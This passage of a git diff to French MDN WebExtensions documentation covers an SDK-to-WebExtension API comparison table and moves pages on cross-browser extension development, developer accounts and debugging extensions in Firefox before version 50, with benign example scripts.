-  {active: true, currentWindow: true}
-);
-
-querying.then(logUrl);
-
- -

Comparaison des API SDK / WebExtension

- -

Les tableaux de cette section répertorient chaque API du SDK et indiquent l'API WebExtension équivalente si elle existe.

- -

Le premier tableau couvre les API SDK de haut niveau, le second couvre les API bas niveau.

- -

API haut niveau

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SDKWebExtensions
addon-pagetabs.create() peut être utilisé pour charger des pages packagées avec l'add-on dans des onglets de navigateur.
base64window.atob() et btoa()
clipboarddocument.execCommand sans select() sur la page d'arrière-plan.
context-menucontextMenus
hotkeyscommands
indexed-dbwindow.indexedDB
l10ni18n
notificationsnotifications
page-modcontent_scripts
page-worker -

Le portage n'est pas terminé et est décrit dans le bug 1318532

- -

Les méthodes de contournement (qui peuvent avoir besoin de webrequestBlocking pour accéder à l'ensemble des  pages [exemple]) :

- -
    -
  • Utiliser la page d'arrière-plan
    • -
  • Charger des iframes distantes dans la page d'arrière-plan
    • -
  • Effectuer un appel XHR pour obtenir les informations statiques de la page.
    • -
-
panelVoir la section sur les interfaces utilisateur.
passwordsL'API expérimentale logins
private-browsingTab.incognito et Window.incognito.
querystringwindow.URLSearchParams
requestwindow.fetch ou window.XMLHttpRequest
selectionUtiliser un script de contenu qui envoie la donnée sélectionnée l'add-on. Sinon, si on peut utiliser un menu contextuel sur une sélection, celle-ci sera contenue dans selectionText (contextMenus.OnClickData).
selfruntime.getManifest() et extension.getURL() pour data.url()
simple-prefsstorage et options_ui
simple-storagestorage
systemPartiellement couvert par runtime.
tabstabs
timersalarms
uiVoir la section sur les éléments d'interface.
urlwindow.URL
widgetAucun
windowswindows
- -

API bas niveau

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SDKWebExtensions
loaderAucun
chromeAucun
console/plain-textAucun
console/tracebackAucun
content/contentAucun
content/loaderAucun
content/modAucun
content/symbiontAucun
content/workerAucun
core/heritageAucun
core/namespaceAucun
core/promisePromise
dev/paneldevtools.panels
event/coreAucun
event/targetAucun
frame/hidden-frameAucun
frame/utilsAucun
fs/pathAucun
io/byte-streamsAucun
io/fileAucun
io/text-streamsAucun
lang/functionalAucun
lang/typeAucun
loader/cuddlefishAucun
loader/sandboxAucun
net/urlAucun
net/xhrwindow.fetch ou window.XMLHttpRequest
places/bookmarksbookmarks
places/faviconAucun
places/historyhistory
platform/xpcomAucun
preferences/event-targetAucun
preferences/servicePrise en charge partielle via les API privacy et browserSettings
remote/childAucun
remote/parentAucun
stylesheet/styleAucun
stylesheet/utilsAucun
system/child_processruntime.connectNative
system/environmentAucun
system/eventsAucun
system/runtimePrise en charge partielle via runtime.getPlatformInfo
system/xul-appPrise en charge partielle via runtime.getBrowserInfo
tabs/utilsAucun
ui/button/actionbrowser_action / page_action
ui/button/togglebrowser_action / page_action
ui/frameAucun
ui/idAucun
ui/sidebarsidebarAction
ui/toolbarAucun
util/arrayAucun
util/collectionAucun
util/deprecateAucun
util/listAucun
util/match-patternAucun
util/objectAucun
util/uuidAucun
window/utilsAucun
diff --git "a/files/fr/mozilla/add-ons/webextensions/compatibilit\303\251_navigateurs_api_javascript/index.html" "b/files/fr/mozilla/add-ons/webextensions/compatibilit\303\251_navigateurs_api_javascript/index.html" deleted file mode 100644 index d7d80b6988..0000000000 --- "a/files/fr/mozilla/add-ons/webextensions/compatibilit\303\251_navigateurs_api_javascript/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Compatibilité des navigateurs avec les API JavaScript WebExtensions -slug: Mozilla/Add-ons/WebExtensions/Compatibilité_navigateurs_API_JavaScript -tags: - - Reference - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs ---- -
{{AddonSidebar}}
- - - -

{{WebExtAllCompatTables}}

- -
Remerciements - -

Les données de compatibilité Microsoft Edge sont fournies par Microsoft Corporation et sont incluses ici sous la licence Creative Commons Attribution 3.0 United States.

-
- -

Voir aussi

- - diff --git a/files/fr/mozilla/add-ons/webextensions/compte_developpeurs/index.html b/files/fr/mozilla/add-ons/webextensions/compte_developpeurs/index.html deleted file mode 100644 index 7cd2470cf8..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/compte_developpeurs/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Comptes développeurs -slug: Mozilla/Add-ons/WebExtensions/Compte_developpeurs -tags: - - Développement - - Extensions - - publications -translation_of: Mozilla/Add-ons/WebExtensions/Developer_accounts ---- -

{{AddonSidebar}}

- -

Les comptes développeurs pour addons.mozilla.org sont intégrés aux comptes Firefox, ce qui vous permet d'accéder et de gérer plusieurs services Mozilla depuis un seul compte. Vous pouvez gérer votre compte Firefox à partir de accounts.firefox.com/settings.

- -

Définition d'un nom d'affichage

- -

Il est important de définir un nom d'affichage sur votre profil sur addons.mozilla.org pour augmenter la transparence avec les utilisateurs, les évaluateurs et la communauté.

- -
-

Le nom d'affichage de votre compte Firefox ne sera pas synchronisé avec votre profil sur addons.mozilla.org. Vous devrez définir le nom d'affichage de votre compte développeur à partir de votre profil sur addons.mozilla.org

-
- -

Comptes bloqués

- -

Afin d'empêcher les acteurs malveillants de soumettre des spams à addons.mozilla.org, nous n'accepterons pas les soumissions provenant de comptes qui utilisent une adresse e-mail temporaire jetable, ou qui ont soumis plusieurs add-ons qui violent nos Politiques de add-on.

- -

Si vous pensez que votre compte a été bloqué par erreur, veuillez envoyer un email à amo-admins [at] mozilla [dot] com et inclure un lien vers votre profil développeur.

diff --git a/files/fr/mozilla/add-ons/webextensions/construction_extension_cross_browser/index.html b/files/fr/mozilla/add-ons/webextensions/construction_extension_cross_browser/index.html deleted file mode 100644 index 506822110d..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/construction_extension_cross_browser/index.html +++ /dev/null @@ -1,252 +0,0 @@ ---- -title: Construction d'une extension cross-browser -slug: Mozilla/Add-ons/WebExtensions/construction_extension_cross_browser -tags: - - Add-ons - - Extensions - - Guide - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Build_a_cross_browser_extension ---- -

{{AddonSidebar()}}

- -

L'introduction de l'API d'extension de navigateur a créé un paysage plus uniforme pour le développement d'extensions des navigateurs. Cependant, parmi les navigateurs qui utilisent les API d'extensions (les principales étant Chrome, Firefox, Opera et Edge), vous verrez des différences à la fois dans l'implémentation de l'API et dans la portée de la couverture. Et puis, Safari utilise ses propres extensions Safari Extensions JS.

- -

Maximiser la portée de votre extension de navigateur signifie la développer pour au moins deux navigateurs différents, voire plus. Cet article examine six des principaux défis rencontrés lors de la création d'une extension multi-navigateurs, et dans chaque cas, suggère comment relever ce défi.

- -

Cet article ne traite pas de la création d'extensions de navigateur pour Safari. Il est possible de partager certaines ressources avec une extension Safari, comme des images et du contenu HTML. Cependant, le codage JavaScript doit être entrepris comme un projet de développement séparé, à moins que vous ne souhaitiez créer votre propre polyfill.

- -

Obstacles lors du codage d'extension multiplateforme

- -

Il y a six domaines que vous devez aborder lorsque vous vous attaquez à une extension multiplateforme :

- -
    -
  • Espace de nommage de l'API
    • -
  • Gestion asynchrone des événements API
    • -
  • Couverture des fonctions API
    • -
  • Clés du Manifest
    • -
  • Package d'Extension
    • -
  • Publication
    • -
- -

Espace de nommage de l'API

- -

Deux espaces de noms API sont utilisés parmi les quatre principaux navigateurs :

- -
    -
  • browser.*, le standard proposé pour l'API d'extensions, utilisé par Firefox et Edge.
    • -
  • chrome.* utilisé par Chrome et Opera.
    • -
- -

Firefox prend également en charge l'espace de noms chrome.* pour les API compatibles avec Chrome, principalement pour faciliter le portage. Cependant, il est préférable d'utiliser l'espace de nommage browser.*. En plus d'être la norme proposée, browser.* utilise des promesses — un mécanisme moderne et pratique pour gérer les événements asynchrones.

- -

Ce n'est que dans les extensions les plus triviales que l'espace de nommage sera probablement le seul problème multiplateforme qui devra être traité. Il est donc rarement, voire jamais, utile d'essayer d'aborder cette question seul. La meilleure approche consiste à traiter ce problème avec une gestion asynchrone des événements.

- -

Gestion asynchrone des événements API

- -

Il existe deux approches pour gérer les événements asynchrones utilisées par les quatre principaux navigateurs :

- -
    -
  • Promises, le standard proposé pour l'API d'extensions, utilisé par Firefox.
    • -
  • callbacks, utilisés par Chrome, Edge, et Opera.
    • -
- -

Firefox prend également en charge les rappels pour les API qui prennent en charge l'espace de noms chrome.*. Cependant, il est recommandé d'utiliser des promesses (et l'espace de noms browser.* du navigateur). Des promesses ont été adoptées dans le cadre de la norme proposée. Il simplifie grandement la gestion asynchrone des événements, en particulier lorsque vous devez enchaîner des événements.

- -

Si vous n'êtes pas familier avec les différences entre ces deux méthodes, jetez un coup d'oeil à Apprendre à connaître le Javascript asynchrone : Rappels, promesses et synchronisation/attente ou la page des promesses d'utilisation de MDN.

- -

Alors, comment tirer profit des promesses facilement, alors que Firefox est le seul navigateur qui les supporte ? La solution est de coder pour Firefox en utilisant des promesses et d'utiliser le navigateur WebExtension API Polyfill. Cette polyfill prend en compte l'espace de nommage de l'API et la gestion asynchrone des événements dans Firefox, Chrome et Opera. Au moment de la rédaction du présent document (novembre 2018), le soutien pour Edge était en cours d'élaboration.

- -

Vous installez le navigateur WebExtension API Polyfill dans votre environnement de développement à l'aide de npm ou vous le téléchargez directement depuis les versions de GitHub. Vous référencerez alors browser-polyfill.js dans :

- -
    -
  • manifest.json, pour mettre à disposition des scripts de fond et de contenu.
    • -
  • Documents HTML, tels que les popups browserAction ou les pages à onglet.
    • -
  • L'appel executeScript dans les scripts de contenu dynamiquement injectés chargés par tabs.executeScript, où il n'a pas été chargé en utilisant une déclaration content_scripts dans manifest.json.
    • -
- -

Ainsi, par exemple, ce code manifest.json rend le polyfill disponible pour vos scripts d'arrière-plan :

- -
{
- // ...
- "background": {
-   "scripts": [
-     "browser-polyfill.js",
-     "background.js"
-   ]
- }
-}
- -

Votre but est de vous assurer que le polyfill s'exécute dans votre extension avant tout autre script qui attend le browser.* API namespace s'exécute.

- -

Pour plus de détails et d'informations sur l'utilisation du polyfill avec un module bundler, voir le readme du projet sur GitHub.

- -

Il existe d'autres options de polyfill mais, au moment d'écrire ces lignes, aucune ne fournit la couverture de l'API Polyfill du navigateur WebExtension. Ainsi, lorsque vous n'avez pas choisi Firefox comme premier choix, vos options sont d'accepter les limitations des polyfills alternatifs, de porter sur Firefox et d'ajouter la prise en charge du cross-browser, ou de développer votre propre polyfill.

- -

Couverture des fonctions API

- -

Les différences dans les fonctions API offertes dans chacun des quatre principaux navigateurs se répartissent en trois grandes catégories :

- -
    -
  • Manque de soutien pour l'ensemble d'une fonction. Par exemple, au moment d'écrire ces lignes, Edge ne prenait pas en charge la fonction de vie privée.
    • -
  • Variations in the support for features within a function. For example, at the time of writing, Firefox doesn’t support the notification function method onButtonClicked while Firefox is the only browser that supports onShown.
    • -
  • Proprietary functions, supporting browser specific features. For example, at the time of writing, containers was a Firefox-specific feature supported by the contextualIdentities function.
    • -
- -

You can find details about the support for the extension APIs among the four main browsers and Firefox for Android on the Mozilla Developer Network Browser support for JavaScript APIs page. Browser compatibility information is also included with each function and its methods, types, and events in the Mozilla Developer Network JavaScript APIs reference pages.

- -

A simple approach to addressing these differences is to limit the functions used in your extension to functions that offer the same functionality across your range of targeted browsers. In practice, for most extensions, this approach is likely to be too restrictive.

- -

The approach you should take where there are differences among the APIs, is to offer either alternative implementations or fallback functionality. Remember that you may also need to do this to allow for differences in API support between versions of the same browser.

- -

The use of runtime checks on the availability of a function’s features is the recommended approach to implementing alternative or fallback functionality. The benefit of performing a runtime check is that if the function becomes available you don’t need to update and redistribute the extension to take advantage of it.

- -

The following code enables you to perform a runtime check:

- -
if (typeof <function> === "function") {
-   // safe to use the function
-}
- -

Manifest keys

- -

The differences in the manifest.json file keys supported by the four main browsers fall broadly into three categories:

- -
    -
  • Extension information attributes. For example, at the time of writing, Firefox and Opera include the developer key for details about the developer, as well as the author, of the extension.
    • -
  • Extension features. For example, at the time of writing, Edge did not support the commands key that enables shortcut keys to be defined for an extension.
    • -
  • Key optionality. For example, at the time of writing, the author key is mandatory in Edge but optional in the other main browsers.
    • -
- -

Browser compatibility information is included with each key in the Mozilla Developer Network manifest.json key reference pages.

- -

As manifest.json files tend to change little—except for release numbers, which may be different between the various browsers—creating and editing a static version for each browser is usually the simplest approach.

- -

Extension packaging

- -

Packaging an extension for distribution through the browser extension stores is relatively straightforward. Firefox, Chrome, and Opera all use a simple zip format that requires the manifest.json file to be at the root of the zip package. However, submitting to the Microsoft store requires additional packaging of the extension file.

- -

For details on packaging, refer to the guidance on the respective extension’s developer portals.

- -

Publishing

- -

Each of the four major browsers maintains browser extension stores. As a consequence, you need to approach adding and updating your extension in each separately. In some cases you can upload your extension using a utility. Each of the stores also performs a review of your extension to check for security vulnerabilities. The table below summarizes the approach and features of each store:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-

Registration fee

- 		-

Upload utility

- 		-

Pre-publication review process

- 		-

Account two factor authentication

-
-

Firefox

- 		-

No

- 		-

web-ext

- 		-

Automatic, a few seconds1

- 		-

No

-
-

Chrome

- 		-

Yes

- 		-

Yes

- 		-

Automatic, less than an hour

- 		-

Yes

-
-

Opera

- 		-

No

- 		-

No

- 		-

Manual, no SLA provided

- 		-

No

-
-

Edge

- 		-

Yes

- 		-

No

- 		-

Manual, up to 72 hours2

- 		-

Yes

-
- -

1) A manual review of the extension takes place after publication, which may result in the extension being suspended where issues that need fixing are found.

- -

2) At the time of writing, Microsoft was only allowing publication of preapproved extensions.

- -

Other considerations

- -

Extension naming

- -

Microsoft requires that extensions have unique names and provides a process for claiming one or more names for your extension through the Windows Dev Center. It may therefore be prudent to reserve an extension name with Microsoft, even if you’re not intending to support Edge immediately. None of the other stores apply name restrictions.

- -

Version numbering

- -

The Firefox and Chrome stores require that each uploaded version has a separate version number. This means that you cannot revert to an earlier version number, if you come across issues in a release.

- -

Share content

- -

Even when you include developing extensions for Safari, there are a number of assets you can potentially share across all of your implementations. These include:

- -
    -
  • Images
    • -
  • HTML
    • -
  • CSS
    • -
- -

Conclusion

- -

When approaching a cross-platform extension development, addressing the fundamental differences between extension API implementations can be addressed by targeting Firefox and using the WebExtension browser API Polyfill. Following this approach you benefit from using API features that are closely aligned with the proposed extensions API standard and offer you the simplicity of promises for asynchronous event handling.

- -

The bulk of your cross-platform work is likely to focus on handling variations among the API features supported by the main browsers. Creating your manifest.json files should be relatively straightforward and something you can do manually. You will then need to account for the variations in extension packaging and the processes for submitting to each of the extension stores.

- -

Following the advice in this article, you should be able to create an extension that works well on all of the four main browsers, enabling you to deliver your extension features to more people.

diff --git a/files/fr/mozilla/add-ons/webextensions/debogage_(avant_firefox_50)/index.html b/files/fr/mozilla/add-ons/webextensions/debogage_(avant_firefox_50)/index.html deleted file mode 100644 index ecdc2a6849..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/debogage_(avant_firefox_50)/index.html +++ /dev/null @@ -1,236 +0,0 @@ ---- -title: Débogage (avant Firefox 50) -slug: Mozilla/Add-ons/WebExtensions/Debogage_(avant_Firefox_50) -tags: - - Debugging - - Firefox - - Guide - - Mozilla - - Obsolete - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Debugging_(before_Firefox_50) ---- -
{{AddonSidebar}}
- -
-

Cet article explique comment vous pouvez déboguer des extensions à l'aide des API WebExtension sur des versions de Firefox antérieures à la version 50.

- -

Si vous utilisez Firefox 50 ou version ultérieure, consultez l'article principal sur les extensions de débogage.

-
- -

Cet article explique comment utiliser les outils de développement Firefox intégrés pour déboguer les extensions développées avec les API WebExtension. Si vous essayez de déboguer un module développé avec le Kit de développement logiciel complémentaire, consultez le guide du débogueur de module complémentaire.

- -
    -
- - - -

Pour montrer comment connecter les outils de débogage, nous utiliserons une simple extension d'exemple appelée "notify-link-clicks-i18n". Le code est dans dépôt d'exemples d'extensions sur GitHub.

- -

L'extension se compose de :

- -
    -
  • un script de fond, "background-script.js"
    • -
  • un script de contenu, "content-script.js", qui est injecté dans toutes les pages.
    • -
- -

Le script de contenu écoute les clics sur les liens dans la page : lorsqu'un clic sur un lien se produit, le script de contenu envoie un message au script d'arrière-plan contenant la référence du lien.

- -

Lorsque le script d'arrière-plan reçoit le message, il affiche une notification contenant la href.

- -

Voici "content-script.js":

- -
/*
-If the click was on a link, send a message to the background page.
-The message contains the link's URL.
-*/
-function notifyExtension(e) {
-  var target = e.target;
-  while ((target.tagName != "A" || !target.href) && target.parentNode) {
-    target = target.parentNode;
-  }
-  if (target.tagName != "A")
-    return;
-
-  console.log("content script sending message");
-  chrome.runtime.sendMessage({"url": target.href});
-}
-
-/*
-Add notifyExtension() as a listener to click events.
-*/
-window.addEventListener("click", notifyExtension);
-
- -

Voici "background-script.js":

- -
/*
-Log that we received the message.
-Then display a notification. The notification contains the URL,
-which we read from the message.
-*/
-function notify(message) {
-  console.log("background script received message");
-  var title = chrome.i18n.getMessage("notificationTitle");
-  var content = chrome.i18n.getMessage("notificationContent", message.url);
-  chrome.notifications.create({
-    "type": "basic",
-    "iconUrl": chrome.extension.getURL("icons/link-48.png"),
-    "title": title,
-    "message": content
-  });
-}
-
-/*
-Assign `notify()` as a listener to messages from the content script.
-*/
-chrome.runtime.onMessage.addListener(notify);
-
- -

Si vous voulez suivre, clonez le référentiel webextensions-examples, puis package et installez "notify-link-clicks-i18n".

- -

La boite à outils du navigateur

- -

Nous utiliserons la boîte à outils du navigateur pour déboguer l'extension.

- -

Conditions préalables

- -

Avant de pouvoir utiliser la boîte à outils du navigateur, vous devez être configuré.

- -
    -
  • ouvrir les outils de développement Firefox
    • -
  • ouvrir les paramètres des outils
    • -
  • sous Paramètres avancés, assurez-vous que les deux paramètres suivants sont vérifiés : -
      -
    • Activer le chrome du navigateur et les boîtes à outils de débogage supplémentaires
      • -
    • Activer le débogage à distance
      • -
    -
    • -
- -

{{EmbedYouTube("LJAM2vXJ790")}}

- -

Ouverture de la boîte à outils du navigateur

- -

Ensuite, nous ouvrirons la boîte à outils du navigateur..

- -
    -
  • ouvrez le menu Web Developer dans Firefox, et sélectionnez "Browser Toolbox" (note : pas "Browser Console").
    • -
  • une boîte de dialogue d'avertissement s'affiche : cliquez sur OK.
    • -
- -

La boîte à outils du navigateur s'ouvrira alors dans une nouvelle fenêtre. La fenêtre principale de Firefox passera au premier plan, vous devrez donc cliquer sur la boîte à outils du navigateur pour la ramener devant vous :

- -

{{EmbedYouTube("fZ492zAAy3o")}}

- -

Dans Firefox, une "Toolbox" est le nom d'une fenêtre séparée contenant un ensemble d'outils dans une interface à onglets, comme ceci :

- -

La boîte à outils ci-dessus contient cinq outils, que vous pouvez commuter entre les onglets en haut de la fenêtre : "Inspecteur", "Console", "Debugger", "Style Editor" et "Scratchpad". Nous n'utiliserons que deux de ces outils : "Console" et "Debugger".

- -

Affichage de la sortie du journal

- -

Nous pouvons utiliser la console pour voir la sortie des journaux : Cela inclus les messages de :

- -
    -
  • scripts d'arrière plan
    • -
  • scripts s'exécutant dans des popups
    • -
  • les scripts de contenu.
    • -
- -

Il inclut les messages de vos journaux de code à l'aide de l'API de console que les messages d'erreur enregistrés par le moteur JavaScript lors de l'exécution de votre code.

- -

Essayons avec l'exemple ci-dessus : sélectionnez l'onglet Console dans la boîte à outils du navigateur, ouvrez une page Web et cliquez sur un lien pour voir les messages enregistrés à partir du script de contenu et du script d'arrière-plan :

- -

{{EmbedYouTube("Qpx0n8gP3Qw")}}

- -

Un problème ici est que la console vous montre les messages de l'ensemble du navigateur, donc il peut y avoir beaucoup de bruit. Lisez  comment filtrer les messages de journal pour obtenir de l'aide à ce sujet.

- -

Débogage JavaScript

- -

Avec la Toolbox du navigateur, vous pouvez utiliser le débogueur JavaScript pour définir des points d'arrêt dans les scripts d'arrière-plan et les scripts s'exécutant dans le navigateur ou les fenêtres contextuelles d'action de page.

- -

Les scripts en arrière-plan sont toujours disponibles dans le débogueur si l'extension est installée et activée. Les scripts popup ne deviennent visibles que lorsque le popup est ouvert. Si vous avez besoin d'accéder aux scripts popup dès qu'ils se chargent, essayez d'ajouter un debogueur ; instruction au début du script.

- -

Pour utiliser le débogueur JavaScript, sélectionnez l'onglet Débogueur dans la boîte à outils du navigateur. Le travail suivant est donc de trouver le code de votre extension  : pour ce faire cliquez dans la boite de recherche et tapez le nom de la source.

- -

Une fois que vous avez trouvé votre source, vous pouvez définir des points d'arrêt, passer en revue le code et  faire tout ce que vous vous attendez à pouvoir faire dans un débogueur.

- -

{{EmbedYouTube("3edeJiG38ZA")}}

- -

Interpréteur en ligne de commande JavaScript

- -

La console comprend un interpréteur de ligne de commande que vous pouvez utiliser pour interroger et manipuler l'état d'un programme en cours d'exécution. Cette fonctionnalité est couramment utilisée lorsque la console est attachée à une page Web, mais elle est généralement difficile à utiliser avec la Toolbox du navigateur, parce que la portée de cette console est le navigateur entier plutôt que l'extension spécifique que vous essayez de déboguer.

- -

Cependant, il y a un truc qui peut vous aider : pendant que le débogueur soit mis en pause à un point d'arrêt, la portée de la Console est la portée au point du programme dans lequel le débogueur est mis en pause. Ainsi, si vous avez atteint un point d'arrêt dans le code de votre extension, vous pouvez interagir directement avec votre extension : vous pouvez appeler des fonctions d'extension, réassigner des valeurs de variables, etc.

- -

Cette fonction est particulièrement utile en combinaison avec une autre fonction : la console split. Cela vous permet de diviser la boîte à outils en deux : une moitié contient la console et l'autre moitié contient un outil différent (dans ce cas, le débogueur JavaScript) :

- -

{{EmbedYouTube("xprf58qOtLY")}}

- -

Débogage des scripts de contenus

- -

Une grande limitation de la Browser Toolbox est la suivante : si vous développez avec firefox multiprocessus, vous ne pouvez pas utiliser la Toolbox du navigateur pour attacher le débogueur JavaScript aux scripts de contenu.

- -

Dans Firefox multiprocessus, le navigateur est divisé en (au moins) deux processus : un pour exécuter l'interface utilisateur et le code système du navigateur, et un (ou plusieurs) processus de contenu, qui exécutent des scripts chargés à partir de pages Web. La ToolBox du navigateur s'attache au premier de ces processus : mais les scripts de contenu s'exécutent dans les processus de contenu, de sorte qu'ils n'apparaissent pas dans la liste des sources de la ToolBox du navigateur.

- -

Pour déboguer les scripts de contenu dans Firefox multiprocessus, vous devrez utiliser le contenu de la boite à outils du navigateur. Le contenu de la boite à outils du navigateur est tout comme la Toolbox de navigateur, sauf qu'elle attache les outils de développement au processus de contenu du navigateur, de sorte que les scripts de contenu sont visibles..

- -

Notez que les scripts de contenu n'apparaîtront pas dans la liste des sources jusqu'à ce qu'ils soient chargés. Si vous avez besoin d'y accéder dès qu'ils se chargent, essayez d'ajouter un debuggueur ; instruction au début de votre script.

- -
-

Note : vous n'avez besoin et ne pouvez accéder à la Browser Content Toolbox que si vous développez contre Firefox multiprocessus.

-
- -
-

L'activation du débogage des travailleurs dans les Options de la boîte à outils désactivera le débogage de la boîte à outils du contenu du navigateur, le Bug 1236892 devrait régler ce problème..

-
- -

{{EmbedYouTube("xAt3Q0PgJP4")}}

- -

Débogage des fenêtres contextuelles

- -
Nouveau dans Firefox 47
- -

A partir de Firefox 47, vous pouvez utiliser la Browser Toolbox pour déboguer le contenu des popups. Il s'agit d'un processus en trois étapes :

- -
    -
  • désactiver l'autohide pour les panneaux
    • -
  • ouvrir la fenêtre contextuelle
    • -
  • sélectionner le document contenant le popup
    • -
- -

{{EmbedYouTube("EEU4NeAS1s4")}}

- -

Désactiver l'autohide

- -

Le problème avec les panneaux de débogage en général est qu'ils sont cachés lorsque vous cliquez en dehors d'eux. La première étape consiste donc à désactiver ce comportement. Dans la boîte à outils du navigateur, cliquez sur l'icône qui ressemble à quatre petits carrés :

- -

Maintenant, lorsque vous ouvrez un panneau dans Firefox, il restera ouvert jusqu'à ce que vous appuyiez sur Escape.

- -
-

Notez que ce changement s'applique aux fenêtre contextuelles intégrés au navigateur, cpùùe le menu Hamburger (), ainsi qu'aux fenêtres contextuelles d'extension.

- -

Notez également que le changement est persistant, même si le navigateur redémarre. Nous travaillons à résoudre ce problème dans le bug 1251658, mais d'ici là, vous préférerez peut-être réactiver la fonction Autohide en cliquant à nouveau sur le bouton avant de fermer la boîte à outils du navigateur.

- -

En interne, ce bouton bascule juste la préférence  ui.popup.disable_autohide que vous pouvez basculer manuellement en utilisant using about:config.

-
- -

Ouvrir la fenêtre contextuelle

- -

Ensuite, ouvrez le popup. Vous pouvez ensuite revenir à la boîte à outils du navigateur, et le panneau restera ouvert.

- -

Sélectionner le cadre de la fenêtre popup

- -

Le popup est chargé dans son propre cadre. Ensuite, sélectionnez le document de votre popup à l'aide du bouton sélection de cadre boîte à outils du navigateur :Le document s'appellera quelque chose comme

- -
moz-extension://<some-uuid>/path/to/your-popup.html
- -

{{EmbedYouTube("/9jdHDCKIN-U")}}

- -

Maintenant, le champ d'application de la boîte à outils est le popup. Dans l'Inspecteur, vous pouvez examiner et modifier le HTML et le CSS du popup. Dans le Debugger, vous pouvez rechercher tous les scripts chargés dans le popup et définir des points d'arrêt.

- -

Qu'en est-il de l'Add-on Deboguer ?

- -

Le deboguer des modules complémentaires est destiné à être l'évanir du débogage des add-on dans Firefox.

- -

Son grand avantage par rapport à la Browser Toolbox est qu'il ne montre que les fichiers de votre extension, donc il est beaucoup plus facile de trouver votre code. Cependant, pour le moment, vous ne pouvez pas voir les messages de console de votre extension dans l'Add-on Debugger, donc la Browser Toolbox est plus fonctionnelle.

diff --git a/files/fr/mozilla/add-ons/webextensions/debugging_(before_firefox_50)/index.html b/files/fr/mozilla/add-ons/webextensions/debugging_(before_firefox_50)/index.html new file mode 100644 index 0000000000..ecdc2a6849 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/debugging_(before_firefox_50)/index.html @@ -0,0 +1,236 @@ +--- +title: Débogage (avant Firefox 50) +slug: Mozilla/Add-ons/WebExtensions/Debogage_(avant_Firefox_50) +tags: + - Debugging + - Firefox + - Guide + - Mozilla + - Obsolete + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Debugging_(before_Firefox_50) +--- +
{{AddonSidebar}}
+ +
+

Cet article explique comment vous pouvez déboguer des extensions à l'aide des API WebExtension sur des versions de Firefox antérieures à la version 50.

+ +

Si vous utilisez Firefox 50 ou version ultérieure, consultez l'article principal sur les extensions de débogage.

+
+ +

Cet article explique comment utiliser les outils de développement Firefox intégrés pour déboguer les extensions développées avec les API WebExtension. Si vous essayez de déboguer un module développé avec le Kit de développement logiciel complémentaire, consultez le guide du débogueur de module complémentaire.

+ +
    +
+ + + +

Pour montrer comment connecter les outils de débogage, nous utiliserons une simple extension d'exemple appelée "notify-link-clicks-i18n". Le code est dans dépôt d'exemples d'extensions sur GitHub.

+ +

L'extension se compose de :

+ +
    +
  • un script de fond, "background-script.js"
    • +
  • un script de contenu, "content-script.js", qui est injecté dans toutes les pages.
    • +
+ +

Le script de contenu écoute les clics sur les liens dans la page : lorsqu'un clic sur un lien se produit, le script de contenu envoie un message au script d'arrière-plan contenant la référence du lien.

+ +

Lorsque le script d'arrière-plan reçoit le message, il affiche une notification contenant la href.

+ +

Voici "content-script.js":

+ +
/*
+If the click was on a link, send a message to the background page.
+The message contains the link's URL.
+*/
+function notifyExtension(e) {
+  var target = e.target;
+  while ((target.tagName != "A" || !target.href) && target.parentNode) {
+    target = target.parentNode;
+  }
+  if (target.tagName != "A")
+    return;
+
+  console.log("content script sending message");
+  chrome.runtime.sendMessage({"url": target.href});
+}
+
+/*
+Add notifyExtension() as a listener to click events.
+*/
+window.addEventListener("click", notifyExtension);
+
+ +

Voici "background-script.js":

+ +
/*
+Log that we received the message.
+Then display a notification. The notification contains the URL,
+which we read from the message.
+*/
+function notify(message) {
+  console.log("background script received message");
+  var title = chrome.i18n.getMessage("notificationTitle");
+  var content = chrome.i18n.getMessage("notificationContent", message.url);
+  chrome.notifications.create({
+    "type": "basic",
+    "iconUrl": chrome.extension.getURL("icons/link-48.png"),
+    "title": title,
+    "message": content
+  });
+}
+
+/*
+Assign `notify()` as a listener to messages from the content script.
+*/
+chrome.runtime.onMessage.addListener(notify);
+
+ +

Si vous voulez suivre, clonez le référentiel webextensions-examples, puis package et installez "notify-link-clicks-i18n".

+ +

La boite à outils du navigateur

+ +

Nous utiliserons la boîte à outils du navigateur pour déboguer l'extension.

+ +

Conditions préalables

+ +

Avant de pouvoir utiliser la boîte à outils du navigateur, vous devez être configuré.

+ +
    +
  • ouvrir les outils de développement Firefox
    • +
  • ouvrir les paramètres des outils
    • +
  • sous Paramètres avancés, assurez-vous que les deux paramètres suivants sont vérifiés : +
      +
    • Activer le chrome du navigateur et les boîtes à outils de débogage supplémentaires
      • +
    • Activer le débogage à distance
      • +
    +
    • +
+ +

{{EmbedYouTube("LJAM2vXJ790")}}

+ +

Ouverture de la boîte à outils du navigateur

+ +

Ensuite, nous ouvrirons la boîte à outils du navigateur..

+ +
    +
  • ouvrez le menu Web Developer dans Firefox, et sélectionnez "Browser Toolbox" (note : pas "Browser Console").
    • +
  • une boîte de dialogue d'avertissement s'affiche : cliquez sur OK.
    • +
+ +

La boîte à outils du navigateur s'ouvrira alors dans une nouvelle fenêtre. La fenêtre principale de Firefox passera au premier plan, vous devrez donc cliquer sur la boîte à outils du navigateur pour la ramener devant vous :

+ +

